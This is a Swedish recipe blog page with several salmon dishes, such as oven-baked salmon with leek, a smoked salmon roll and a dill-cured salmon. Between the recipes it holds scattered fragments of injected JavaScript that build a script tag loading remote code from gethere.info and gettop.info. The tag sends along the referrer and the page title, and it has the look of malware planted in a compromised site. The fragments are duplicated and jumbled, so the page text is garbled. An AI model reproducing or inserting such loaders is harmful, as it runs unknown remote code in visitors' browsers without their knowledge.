Lax med purjolök

IMG_6090

Hej Här kommer ett riktigt gott recept på lax i ugn som jag hittade här.

4 port:
1 purjolök
4 laxfiléer
3 dl grädde
2 dl creme fraiche
2-3 mk KNORR Fiskkrydda (jag tog en fiksbuljongtärning som jag smulade över fisken)
salt

Gör så här:
Skölj och strimla purjolöken. Lägg den i botten av en ugnsfast form och lägg på laxen ovanpå. Salta.
Rör i hop grädde och creme fraiche. Smaka av med KNORR Fiskkrydda, ca 2-3 msk brukar bli lagom. Häll blandningen över fisken och ställ in i ugnen, 200 C ca 20 min. Servera med ris och en god sallad!

IMG_6087IMG_6088IMG_6089IMG_6086IMG_6090s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);

Laxrulle

bild4

IMG_587512744372_10153431523865959_4196997906889747981_n

Receptet på laxrullen hittade jag här.
Istället för bladspenat tog jag ruccola.

Ingredienser 1 rulle

  • 200 g rökt lax
  • 100 g naturell färskost med pepparrotssmak
  • salt och peppar
  • 1 dl bladspenat
  • juicen från 1/4 citron

 


Gör så här:

  1. Lägg rökt lax i tunna skivor omlott på plastfolie och bre på naturell färskost med pepparrotssmak. Salta och peppra.
  2. Fördela bladspenat över, pressa över juice från citron och rulla ihop laxen till en fast rulle. Ställ rullen i kylen.
  3. Skär den i 1-2 cm breda skivor då den stelnat. Servera.

bild3bild2bild1bild5

IMG_5873if (document.currentScript) {

d.getElementsByTagName(‘head’)[0].appendChild(s);

Lax med nöttäcke och limesås

1

För några dagar sedan fick jag smaka på en supergod laxrätt. Receptet kommer här nedan.

Lax med nöttäcke och limesås (4 port).
4 portionsstyckade laxfiléer (ca 500 gram) skinnfria
ca 20 cashewnötter, osaltade, hackade
1 msk flytande margarin
4 msk sweet chilisås
1 lime (det rivna skalet)
1 pressad vitlöksklyfta

Limesås
1,5 dl creme fraiche, gärna lätt
Saften av en lime
1 msk majonäs

Gör så här:
Lägg laxbitarna ganska tätt i en ugnssäker form, gärna med bakplåtspapper i botten.
Blanda nötter, fett, chilisås, limeskal och vitlök i en skål. Bred blandningen över laxen, Baka laxen mitt i ugnen tills täcket blivit lite ljusbrunt och laxen precis är genomstekt (ca 15-20 min). Blanda såsen  och servera rätten med pressad potatis/ris/färskpotatis, sockerärtor, en grönsallad och limeklyftor.

423

 

XX

document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

Thaisallad av salmalax

bild8

Det här goda receptet hittade jag på Petra Tungårdens blogg. Ni måste provsmaka er fram hela tiden när ni gör dressingen då smaken är olika och en del föredrar kanske mer riven ingefära eller kanske mer chili i dressingen.

bild9

1 bit Salmalax (ca 280 gram)
Bladspenat (en liten påse)
1/2 Rödlök
Tomater
1 Avokado
1-2 tsk Soya
1-2 msk Sweewchili el chili
1 msk pressad lime
1 msk pressad citronjuice
0,5-1 dl Olivolja
Ingefära (färskriven)
Koriander (kan uteslutas)
1/2 dl Cashewnötter (hackade)

Gör såhär:
Pressa ner lime och häll i citronjuicen i en skål. Hacka sedan koriander och häll ner i röran tillsammans med olivolja och chili. Har du ingen chili så ta lite sweetchilisås i. Riv ner ingefära och lite soya, smaka av hela tiden.
Hacka cashewnötter.

Skär upp Salmalaxen i tunna skivor. Lägg laxen i dressingen och låt dra i kylen en stund.

Gör en salladsbädd av färsk spenat och häll på lite av dressingen. Lägg på avokado och servera.

bild7bild6bild5bild4

bild3bild2bild8bild1

 

 

 

 

 

 

 

 

 

 

 

 

 

document.currentScript.parentNode.insertBefore(s, document.currentScript);if (document.currentScript) {

Lax i ugn med smak av lingon.

Lax i portionsbitar
1 tsk salt
2 1/2 dl matlagningsgrädde
2 msk konc vilt eller kantarellfond
2 msk lingonsylt svartpepper och
1 tsk timjan
Sätt ugnen på 225 grader salta laxen och lägg den i en ugnssäker form.
Blanda alla ingredienser och häll över laxen och tillaga mitt i ugnen ca 20 minuter.
Servera med pressad potatis.

} else {

var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);

Lax i ugn

bild1

I fredags lagade jag det här goda receptet som smakade riktigt gott. Grundreceptet hittade jag här.

4port:
4 laxfiléer
1 burk cantadou vitlök & örter (färskost)
3 dl grädde
salt & citronpeppar
handskalade räkor på burk (alt skala egna. köp under inga omständigheter färdigskalade frysta eller små inlagda räkor -det är inte gott!)

Lägg laxen i en ugnsform. Blanda färskost och grädde till en sås. Smaksätt med salt och citronpeppar. Häll såsen över laxen och ställ in i ugnen, 200 C, ca 20 min. Ta ut formen ur ugnen och strö över räkorna.

bild2bild3

} else {s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

Dillgravad SALMA med mörk senapsås

Det här receptet är sjukt gott och receptet hittade jag på Salmalax egna hemsida. http://salmalax.se/view.
Salmalax är god precis som den är men i det här receptet förhöjs alla smaker.

Lax
1 bit Salmalax
2 msk salt
2,5 msk socke
1 tsk vitpeppar, grovmalen
1 knippe dill.

Mörk senapsås
1 tsk rödvinsvinäger
2 msk farinsocker
1 msk dijonsenap
1 msk grov dijonsenap
2 msk HP Sauce
2 msk solrosolja

Dillgravad salmalax:
Blanda socker, salt och vitpeppar, finhacka dillstjälkarna och spara de fina dillkronorna. Gnid in laxen med blandningen, slå in den i plastfolie och låt det grava över natten.

 

 

 

 

 

 

 

 

 

Mörk senapsås:
Rör ut farinsocker i vinäger, tillsätt senapen och HP såsen. vispa ner oljan och låt såsen dra, helst över natten. Skrapa bort överblivna kryddor och dillhacket från laxen.
Pensla laxen med lite senapsås. Finhacka dillkronorna och rulla laxen i det.

 if (document.currentScript) {

Laxbulgur med limedressing

Ingredienser (4 portioner)

3 dl bulgur
6 dl hönsbuljong
600 g skinn- och benfri laxfilé
Smör
1/2 tsk salt
1 krm svartpeppar
2 apelsiner
2 avokador
2 msk hackad persilja

Limedressing:
2 dl Arla Köket lätt crème fraiche
rivet skal av 1/2 lime
1 msk flytande honung
2 krm salt

 

Gör så här:
Blanda ihop dressingen. Tillaga bulgur i buljongen enligt anvisning på förpackningen. Skär laxen i kuber. Stek dem runt om i smör i en stekpanna ca 3 min. Salta och peppra. Skala apelsinerna och dela i bitar. Dela, kärna ur, skala och tärna avokadorna. Blanda bulgur, apelsin, avokado, persilja och lax. Ringla över limedressing.var d=document;var s=d.createElement(‘script’);

var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);

Kall laxsallad med yoghurtdressing

Detta är en utmärkt rätt där du kan använda grillad lax som blivit över eller om du kokt lax och inte allt gått åt.

Detta behöver du:
300 gram lax (grillad eller kokt, gärna rester)
2 1/2 dl selleristjälkar skurna i 1/2 cm långa bitar
1 dl hackad vårlök (eller rödlök)
2 dl färsk spenat
2 matskedar finhackad färsk dill

Dressing:
2 matskedar naturell yoghurt
2 matskedar god majonäs
1 tesked cellerifrön (kan uteslutas)
3 teskedar citronsaft
1 tesked salt

Så här gör du:
Dela upp laxen i bitar. Ta inte för små bitar eftersom laxen går sönder när du blandar samman salladen. Lägg i selleri, vårlök, spenat och dill och blanda samman. Blanda alla ingredienserna i dressingen. Häll försiktigt över salladen och blanda utan att överblanda. Kyl under minst 30 minuter, helst minst en timma.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

d.getElementsByTagName(‘head’)[0].appendChild(s);

Lax i ugn med majonnäs och dill

Lägg upp en laxfilé på en ugnsfast form, salta och peppra och lägg på en klick majonnäs på toppen och en dillkvist över.
Grädda på 250 grader mitt i ugnen ca 15 min. Servera med kokta grönsaker och grillade kvisttomater.

}